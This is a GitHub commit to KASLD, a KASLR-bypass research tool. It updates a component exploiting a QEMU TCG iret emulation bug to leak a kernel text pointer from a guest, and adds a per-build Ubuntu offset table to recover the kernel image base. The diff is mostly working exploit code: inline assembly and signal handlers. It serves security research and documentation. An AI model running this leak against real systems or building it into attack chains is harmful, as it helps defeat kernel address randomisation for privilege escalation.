Skip to content

Commit 62b6b6d

Browse files
committed
components: qemu_tcg_iret: emit image base using offset table
The leaked value is asm_exc_divide_error+0xf — the divide-error handler's return address read off the exception stack, a kernel .text pointer at a build-specific offset above _text — but the component described it as a stack pointer and emitted only the interior sample, never the image base. Add a per-build offset table keyed on the full uname. On a match, subtract the stored offset from the leak and floor to the KASLR grid, emitting _text at CONF_HEURISTIC; the interior sample still bounds the guaranteed window if the table is stale. Gate on UMIP up front (its emulated sgdt hides the exception stack); KPTI does not block the leak.
1 parent f818a7b commit 62b6b6d

2 files changed

Lines changed: 204 additions & 53 deletions

File tree

docs/bypass-techniques.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -314,7 +314,7 @@ The following KASLD components exploit syscall and interface leaks:
314314
* [mincore.c](../src/components/mincore.c)`mincore()` heap page disclosure via uninitialized memory (CVE-2017-16994; patched in v4.15)
315315
* [bcm_msg_head_struct.c](../src/components/bcm_msg_head_struct.c) — CAN BCM `bcm_msg_head` struct uninitialized 4-byte padding hole leaks kernel stack pointer via `recvmsg()` (CVE-2021-34693; patched in v5.12)
316316
* [pppd_kallsyms.c](../src/components/pppd_kallsyms.c) — set-uid-root `pppd` opens `/proc/kallsyms` as root, bypassing the `kptr_restrict` open-time check in pre-v4.8 kernels
317-
* [qemu_tcg_iret.c](../src/components/qemu_tcg_iret.c) — QEMU TCG `iret` emulation bug causes the hypervisor to read from the host kernel stack instead of the guest user stack, leaking a kernel address (patched in QEMU 9.1; not a kernel bug)
317+
* [qemu_tcg_iret.c](../src/components/qemu_tcg_iret.c) — QEMU TCG `iret` emulation performs the frame read as ring 0, so a ring-3 guest reads an exception handler's return address off the guest kernel's exception stack a kernel `.text` pointer (patched in QEMU 9.1; not a kernel bug)
318318

319319
## ioctl leaks
320320

src/components/qemu_tcg_iret.c

Lines changed: 203 additions & 52 deletions
Original file line numberDiff line numberDiff line change
@@ -1,30 +1,38 @@
11
// This file is part of KASLD - https://github.com/bcoles/kasld
22
//
3-
// Leak kernel stack address inside a QEMU (<9.1) guest (x86-64) using `iret`.
3+
// Leak a kernel text address inside a QEMU (<9.1) guest (x86-64) using `iret`.
44
//
5-
// The QEMU TCG (Tiny Code Generator) implementation assumes the iret and
6-
// call far (retf) instructions are only used to transition between privilege
7-
// rings (ie, ring 0 -> ring 3). When a user-space program (ring 3) executes
8-
// iret to stay in ring 3 while setting new cs/ss values, QEMU incorrectly
9-
// accesses the stack as if the current privilege level is 0 - meaning it
10-
// reads/writes from the kernel stack instead of the user stack.
5+
// The QEMU TCG (Tiny Code Generator) implementation performs the stack reads
6+
// of the iret and call-far (retf) instructions as if the current privilege
7+
// level were 0 (a supervisor access), rather than using the executing ring's
8+
// CPL. A ring-3 program can therefore point rsp at a kernel address and have
9+
// iret read the return frame from it — an access that should fault — pulling a
10+
// kernel value out into the guest. The div-by-zero always faults through
11+
// vector 0, so the value recovered is the return address of the divide-error
12+
// handler left on the kernel stack: asm_exc_divide_error+0xf, a kernel .text
13+
// pointer at a build-specific offset above _text (tens of MiB).
1114
//
1215
// Patched in QEMU version 9.1.
1316
//
14-
// Uses and largely based on original code by @_leave07:
17+
// The leak primitive (the div/sgdt/iretq sequence and signal handlers)
18+
// is used largely verbatim from original code by @_leave07 and @prosti:
1519
// https://kqx.io/post/qemu-nday/#leak-exploit
1620
//
17-
// Output:
21+
// Output (on a recognized build the image base is also recovered):
1822
// [.] trying QEMU TCG iret leak ...
19-
// leaked kernel stack address: ffffffff9880105f
20-
// possible kernel base: ffffffff98800000
23+
// [+] leaked kernel text address: ffffffff886010af (asm_exc_divide_error+0xf)
24+
// [.] image base at or below: ffffffff88600000
25+
// [+] recovered image base: ffffffff87600000
26+
// V kernel_text:asm_exc_divide_error pos=interior conf=parsed
27+
// sample=0xffffffff886010af V kernel_image:_text pos=base conf=heuristic
28+
// lo=0xffffffff87600000
2129
//
2230
// Leak primitive:
23-
// Data leaked: kernel stack address (exception handler return address)
24-
// Kernel subsystem: QEMU TCG — iret instruction emulation bug
25-
// Data structure: kernel exception stack frame (return address)
26-
// Address type: virtual (kernel stack)
27-
// Method: parsed (QEMU reads kernel stack instead of user stack)
31+
// Data leaked: kernel .text address (asm_exc_divide_error+0xf return
32+
// site) Kernel subsystem: QEMU TCG — iret instruction emulation bug Data
33+
// structure: return-address slot in the kernel exception stack frame
34+
// Address type: virtual (kernel text)
35+
// Method: parsed (QEMU reads the iret frame as ring 0)
2836
// Patched: QEMU v9.1 (commit 0bd385e7)
2937
// Status: fixed in QEMU v9.1 (not a kernel bug)
3038
// Access check: N/A (QEMU TCG emulation bug; not a kernel vulnerability)
@@ -33,6 +41,12 @@
3341
// Mitigations:
3442
// Fixed in QEMU v9.1. Only affects QEMU TCG (software emulation);
3543
// KVM (hardware virtualization) is not affected. Not a kernel bug.
44+
// The exception stack is located via `sgdt`; when the guest CPU exposes
45+
// UMIP the kernel emulates `sgdt` with a dummy GDT base, so the leak cannot
46+
// find the frame even on a vulnerable QEMU. That case is detected up front
47+
// and reported UNAVAILABLE (mitigation: umip) before the faulting iret runs.
48+
// KPTI does NOT block this leak: the exception stack lives in the
49+
// cpu_entry_area, which is mapped in the user page tables even under KPTI.
3650
//
3751
// References:
3852
// https://kqx.io/post/qemu-nday/#leak-exploit
@@ -54,22 +68,121 @@
5468
#include <stdint.h>
5569
#include <stdio.h>
5670
#include <stdlib.h>
71+
#include <string.h>
5772
#include <sys/mman.h>
73+
#include <sys/utsname.h>
5874

5975
KASLD_EXPLAIN(
6076
"Inside a QEMU TCG (software-emulated) x86_64 guest, the iret "
61-
"instruction is mis-emulated: when ring-3 code executes iret to stay "
62-
"in ring 3 with new cs/ss, TCG reads the iret frame from the kernel "
63-
"stack instead of the user stack. This leaks an adjacent kernel "
64-
"address into the guest; values in the kernel-text range are kept as "
65-
"a base sample. Fixed in QEMU v9.1.");
77+
"instruction performs its stack reads as ring 0 instead of the "
78+
"executing ring's privilege level. A ring-3 program points rsp at the "
79+
"kernel exception stack, and iret reads back an exception handler's "
80+
"return address — a kernel .text pointer — which faults on use and is "
81+
"kept as a text sample. Fixed in QEMU v9.1.");
6682

6783
KASLD_META("method:parsed\n"
6884
"phase:inference\n"
6985
"live:1\n"
7086
"addr:virtual\n"
7187
"patch:QEMU v9.1\n");
7288

89+
/* UMIP (User-Mode Instruction Prevention) emulation dummy GDT base. When UMIP
90+
* is active the kernel traps `sgdt` from ring 3 and returns this hardcoded base
91+
* (arch/x86/kernel/umip.c: UMIP_DUMMY_GDT_BASE) instead of the real GDTR — so
92+
* the exception stack cannot be located and the technique cannot work. UMIP is
93+
* present on Intel Cannon Lake+ (2018) and AMD Zen 2+ (2019). */
94+
#define UMIP_DUMMY_GDT_BASE 0xfffffffffffe0000UL
95+
96+
/* True when `sgdt` is being emulated by the kernel under UMIP (dummy base). */
97+
static int umip_active(void) {
98+
struct {
99+
uint16_t limit;
100+
uint64_t base;
101+
} __attribute__((packed)) gdtr;
102+
__asm__ volatile("sgdt %0" : "=m"(gdtr));
103+
return (unsigned long)gdtr.base == UMIP_DUMMY_GDT_BASE;
104+
}
105+
106+
/* Offset of asm_exc_divide_error from the kernel image base (_text) for known
107+
* builds — i.e. (asm_exc_divide_error - _text), read from System.map/kallsyms.
108+
* The leak returns asm_exc_divide_error+<small>, so the exact image base is
109+
* floor(leaked - asm_exc_divide_error): flooring to the KASLR grid absorbs the
110+
* sub-alignment return-site remainder. Keyed on the full uname
111+
* ("<release> <version>") as a build fingerprint — the version string embeds
112+
* the build id/date, so a match identifies the precise build and a bad guess
113+
* simply never matches. Long Ubuntu HWE versions overflow utsname.version's
114+
* 64-char field, so the kernel clips them at build (in /proc/version and uname
115+
* -v alike); fingerprints are stored exactly as the kernel reports them, with
116+
* trailing whitespace trimmed on both sides so a clip that ends on a space
117+
* still matches. A match only sets the likely window (CONF_HEURISTIC); the
118+
* guaranteed window rests on the interior sample. */
119+
struct kernel_info {
120+
const char *kernel_version;
121+
uint64_t asm_exc_divide_error;
122+
};
123+
124+
// clang-format off
125+
static const struct kernel_info offsets[] = {
126+
// Ubuntu 20.04 (5.8 HWE)
127+
{"5.8.0-23-generic #24~20.04.1-Ubuntu SMP Sat Oct 10 04:57:02 UTC 2020", 0xc00870},
128+
{"5.8.0-25-generic #26~20.04.1-Ubuntu SMP Thu Oct 15 14:55:06 UTC 2020", 0xc00870},
129+
{"5.8.0-28-generic #30~20.04.1-Ubuntu SMP Thu Nov 5 20:57:40 UTC 2020", 0xc00870},
130+
{"5.8.0-29-generic #31~20.04.1-Ubuntu SMP Fri Nov 6 16:10:42 UTC 2020", 0xc00870},
131+
{"5.8.0-33-generic #36~20.04.1-Ubuntu SMP Wed Dec 9 17:01:13 UTC 2020", 0xc00870},
132+
{"5.8.0-34-generic #37~20.04.2-Ubuntu SMP Thu Dec 17 14:53:00 UTC 2020", 0xc00870},
133+
{"5.8.0-36-generic #40~20.04.1-Ubuntu SMP Wed Jan 6 10:15:55 UTC 2021", 0xc00870},
134+
{"5.8.0-38-generic #43~20.04.1-Ubuntu SMP Tue Jan 12 16:39:47 UTC 2021", 0xc00870},
135+
{"5.8.0-40-generic #45~20.04.1-Ubuntu SMP Fri Jan 15 11:35:04 UTC 2021", 0xc00870},
136+
{"5.8.0-41-generic #46~20.04.1-Ubuntu SMP Mon Jan 18 17:52:23 UTC 2021", 0xc00870},
137+
{"5.8.0-43-generic #49~20.04.1-Ubuntu SMP Fri Feb 5 09:57:56 UTC 2021", 0xc00870},
138+
{"5.8.0-44-generic #50~20.04.1-Ubuntu SMP Wed Feb 10 21:07:30 UTC 2021", 0xc00870},
139+
{"5.8.0-45-generic #51~20.04.1-Ubuntu SMP Tue Feb 23 13:46:31 UTC 2021", 0xc00870},
140+
{"5.8.0-48-generic #54~20.04.1-Ubuntu SMP Sat Mar 20 13:40:25 UTC 2021", 0xc00870},
141+
{"5.8.0-49-generic #55~20.04.1-Ubuntu SMP Fri Mar 26 01:01:07 UTC 2021", 0xc00870},
142+
{"5.8.0-50-generic #56~20.04.1-Ubuntu SMP Mon Apr 12 21:46:35 UTC 2021", 0xc00870},
143+
{"5.8.0-53-generic #60~20.04.1-Ubuntu SMP Thu May 6 09:52:46 UTC 2021", 0xc00870},
144+
{"5.8.0-53-lowlatency #60~20.04.1-Ubuntu SMP PREEMPT Thu May 6 10:59:47 UTC 2021", 0xc00870},
145+
{"5.8.0-55-generic #62~20.04.1-Ubuntu SMP Wed Jun 2 08:55:04 UTC 2021", 0xc00870},
146+
// Ubuntu 21.04
147+
{"5.11.0-16-generic #17-Ubuntu SMP Wed Apr 14 20:12:43 UTC 2021", 0xe00870},
148+
{"5.11.0-22-generic #23-Ubuntu SMP Thu Jun 17 00:34:23 UTC 2021", 0xe00870},
149+
// Ubuntu 21.10
150+
{"5.13.0-27-generic #29-Ubuntu SMP Wed Jan 12 17:36:47 UTC 2022", 0xe00860},
151+
{"5.13.0-30-generic #33-Ubuntu SMP Fri Feb 4 17:03:31 UTC 2022", 0xe00860},
152+
{"5.13.0-35-generic #40-Ubuntu SMP Mon Mar 7 08:03:10 UTC 2022", 0xe00860},
153+
{"5.13.0-37-generic #42-Ubuntu SMP Tue Mar 15 14:34:06 UTC 2022", 0xe00860},
154+
{"5.13.0-37-lowlatency #42-Ubuntu SMP PREEMPT Tue Mar 15 15:24:39 UTC 2022", 0xe00860},
155+
// Ubuntu 22.04
156+
{"5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022", 0xe008f0},
157+
// Ubuntu 24.04
158+
{"6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026", 0x1400950},
159+
{"6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:53:05 UTC 2026", 0x1400950},
160+
};
161+
// clang-format on
162+
163+
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
164+
165+
/* Index into offsets[] whose full uname matches this kernel, or -1. Trailing
166+
* whitespace is trimmed before comparing: a long Ubuntu HWE version clipped at
167+
* utsname's 64-char field can end on a space, and the table stores fingerprints
168+
* trimmed the same way, so the live uname is trimmed to match. */
169+
static int match_known_kernel(void) {
170+
struct utsname u;
171+
char v[512];
172+
size_t n;
173+
unsigned long i;
174+
175+
if (kasld_uname(&u) != 0)
176+
return -1;
177+
snprintf(v, sizeof(v), "%s %s", u.release, u.version);
178+
for (n = strlen(v); n > 0 && v[n - 1] == ' '; n--)
179+
v[n - 1] = '\0';
180+
for (i = 0; i < ARRAY_SIZE(offsets); i++)
181+
if (strcmp(v, offsets[i].kernel_version) == 0)
182+
return (int)i;
183+
return -1;
184+
}
185+
73186
uint64_t kbase;
74187
static sigjmp_buf env;
75188

@@ -84,10 +197,12 @@ static void sigfpe_handler(int sig, siginfo_t *si, void *context) {
84197
uc->uc_mcontext.gregs[REG_RIP] += 3;
85198
}
86199

87-
// SIGSEGV handler: triggered after iretq jumps to the unmapped user-space
88-
// address (0x133a000). Due to the QEMU bug, the iret frame was read from
89-
// the kernel exception stack, so RIP here contains a kernel .text address
90-
// (the exception handler return address) leaked from the kernel stack.
200+
// SIGSEGV handler: when the leak fires, the mis-emulated iretq has popped an
201+
// exception handler's return address off the kernel exception stack into RIP
202+
// and faulted trying to execute it from ring 3 (SMEP). RIP here is therefore a
203+
// kernel .text address — the handler's return address, read off the kernel
204+
// stack. (If the read instead faults, or lands on a non-text value, main()
205+
// discards it.)
91206
static void sigsegv_handler(int sig, siginfo_t *si, void *context) {
92207
(void)sig;
93208
(void)si;
@@ -102,11 +217,11 @@ static void kaslr(void) {
102217
__asm__ volatile(
103218
".intel_syntax noprefix\n"
104219

105-
// Step 1: Prepare a fake iret frame in registers R15-R12.
106-
// When the div-by-zero fault fires, these callee-saved regs
107-
// are pushed onto the kernel exception stack, forming a valid
108-
// user-mode iret frame: {RIP=0x133a000, CS=0x33, RFLAGS=0x206,
109-
// RSP=unused, SS=0x2b}.
220+
// Step 1: Load a recognizable landmark frame into registers R15-R12.
221+
// When the div-by-zero fault fires, these callee-saved regs are
222+
// pushed onto the kernel exception stack as pt_regs, marking a known
223+
// spot below the handler's return address: {RIP=0x133a000, CS=0x33,
224+
// RFLAGS=0x206, RSP=unused, SS=0x2b}.
110225
"mov r15, 0x33\n" // CS: user-mode code segment
111226
"mov r14, 0x206\n" // RFLAGS: IF set
112227
"mov r13, 0x133a000\n" // RIP: target address (unmapped)
@@ -129,17 +244,17 @@ static void kaslr(void) {
129244
"add rax, 0x1f50\n" // offset to iret frame on exception stack
130245
"mov rsp, rax\n"
131246

132-
// Step 4: Execute iretq. Due to the QEMU bug, iretq in ring 3
133-
// reads the frame from the kernel stack (where RSP now points)
134-
// instead of the user stack. It pops our fake frame values,
135-
// jumping to 0x133a000 which is unmapped, triggering SIGSEGV.
136-
// The SIGSEGV handler captures the leaked kernel address from
137-
// the signal context.
247+
// Step 4: Execute iretq. Due to the QEMU bug, iretq in ring 3 reads
248+
// the frame from where RSP now points (the kernel exception stack) as
249+
// a ring-0 access instead of faulting. It pops the exception handler's
250+
// return address — sitting just above our landmark frame — into RIP,
251+
// then faults trying to execute that kernel .text address from ring 3.
252+
// The SIGSEGV handler captures it from the signal context.
138253
"iretq\n"
139254
".att_syntax noprefix\n");
140255
}
141256

142-
static uint64_t get_kernel_stack_addr_using_qemu_tcg_iret(void) {
257+
static uint64_t get_kernel_text_addr_using_qemu_tcg_iret(void) {
143258
kasld_info("trying QEMU TCG iret leak ...");
144259

145260
// Install SIGFPE handler to recover from the intentional div-by-zero
@@ -149,13 +264,13 @@ static uint64_t get_kernel_stack_addr_using_qemu_tcg_iret(void) {
149264
sigaction(SIGFPE, &sa_fpe, NULL);
150265

151266
// Set up an alternate signal stack so the SIGSEGV handler can run even
152-
// when RSP has been corrupted to a kernel address (which happens on
153-
// non-vulnerable systems where iretq faults before restoring a valid RSP).
154-
// The alt stack is load-bearing for this technique — without it, a
155-
// non-vulnerable system's faulting iretq drops the handler onto the
156-
// corrupted main stack and the component segfaults instead of cleanly
157-
// reporting "no leak". Bail rather than continue with the safeguard
158-
// silently disabled.
267+
// when RSP has been corrupted to a kernel address (which happens whenever
268+
// the leak does not fire — patched QEMU, or the frame read itself faults —
269+
// so iretq faults before restoring a valid RSP). The alt stack is
270+
// load-bearing for this technique — without it, that faulting iretq drops
271+
// the handler onto the corrupted main stack and the component segfaults
272+
// instead of cleanly reporting "no leak". Bail rather than continue with the
273+
// safeguard silently disabled.
159274
stack_t ss;
160275
ss.ss_sp = malloc(SIGSTKSZ);
161276
if (!ss.ss_sp) {
@@ -176,9 +291,10 @@ static uint64_t get_kernel_stack_addr_using_qemu_tcg_iret(void) {
176291
sigemptyset(&sa_segv.sa_mask);
177292
sigaction(SIGSEGV, &sa_segv, NULL);
178293

179-
// Pre-map the stack region used after iretq jumps to 0x133a000.
180-
// The SIGSEGV handler needs a valid stack; this growsdown mapping
181-
// at 0x1338000 provides it (adjacent to the 0x133a000 target).
294+
// Pre-map a stack region just below 0x133a000 (the landmark RIP). Used as
295+
// a fallback stack for the path where iretq pops the landmark frame and
296+
// jumps to 0x133a000 instead of leaking; this growsdown mapping at
297+
// 0x1338000 is adjacent to that target.
182298
mmap((void *)0x1338000, PAGE_SIZE * 2, PROT_READ | PROT_WRITE,
183299
MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_POPULATE,
184300
-1, 0);
@@ -188,7 +304,7 @@ static uint64_t get_kernel_stack_addr_using_qemu_tcg_iret(void) {
188304
}
189305

190306
if (kasld_addr_is_kernel_text(kbase)) {
191-
kasld_found("leaked kernel stack address: %lx", kbase);
307+
kasld_found("leaked kernel text address: %lx", kbase);
192308
return kbase;
193309
}
194310

@@ -198,16 +314,51 @@ static uint64_t get_kernel_stack_addr_using_qemu_tcg_iret(void) {
198314
int main(void) {
199315
if (kasld_skip_live_probe("iret"))
200316
return 0;
201-
unsigned long addr = get_kernel_stack_addr_using_qemu_tcg_iret();
317+
318+
// UMIP emulates `sgdt` with a dummy GDT base, so the exception stack cannot
319+
// be located. Detect it up front and bail before the faulting iret — on a
320+
// UMIP host that iret reads unmapped memory and logs a spurious kernel
321+
// page-fault Oops. UMIP is a defensive control that is present, so report it
322+
// as a mitigation (exit UNAVAILABLE). KPTI, by contrast, does not block this
323+
// leak: the exception stack lives in the cpu_entry_area, which stays mapped
324+
// in the user page tables even under KPTI.
325+
if (umip_active())
326+
return kasld_disp_mitigation(
327+
"umip", "UMIP emulates sgdt; kernel exception stack not locatable");
328+
329+
unsigned long addr = get_kernel_text_addr_using_qemu_tcg_iret();
202330

203331
if (!addr) {
204332
kasld_err("QEMU TCG IRET fault not triggered");
205333
return 0;
206334
}
207335

208-
kasld_info("possible kernel base: %lx", kasld_floor_text_base(addr));
209-
kasld_result_sample(KASLD_TYPE_VIRT, REGION_KERNEL_TEXT, addr, NULL,
210-
CONF_PARSED);
336+
// The leak is an interior .text pointer, not the image base: the div-by-zero
337+
// always faults through vector 0, so `addr` is the return address inside
338+
// asm_exc_divide_error (the #DE entry stub), observed at +0xf. Its distance
339+
// from _text is build-specific (tens of MiB), so the sample is named for
340+
// provenance but the engine bounds the base from it — the base is
341+
// grid-aligned at or below the floored sample.
342+
kasld_info("image base at or below: %lx", kasld_floor_text_base(addr));
343+
kasld_result_sample(KASLD_TYPE_VIRT, REGION_KERNEL_TEXT, addr,
344+
"asm_exc_divide_error", CONF_PARSED);
345+
346+
// If the exact build is known, subtract asm_exc_divide_error's offset from
347+
// _text to recover the image base. Flooring to the KASLR grid absorbs the
348+
// sub-alignment return-site remainder, so the result is _text exactly. Report
349+
// it at CONF_HEURISTIC — the recovery trusts the uname build fingerprint, not
350+
// proof, so it pins only the likely window; the CONF_PARSED sample above
351+
// still bounds the guaranteed window soundly if the table is ever stale.
352+
int k = match_known_kernel();
353+
if (k >= 0) {
354+
unsigned long base =
355+
kasld_floor_text_base(addr - offsets[k].asm_exc_divide_error);
356+
if (kasld_addr_is_kernel_text(base) && addr >= base) {
357+
kasld_found("recovered image base: %lx", base);
358+
kasld_result_base(KASLD_TYPE_VIRT, REGION_KERNEL_IMAGE, base, "_text",
359+
CONF_HEURISTIC);
360+
}
361+
}
211362

212363
return 0;
213364
}

0 commit comments

Comments
 (0)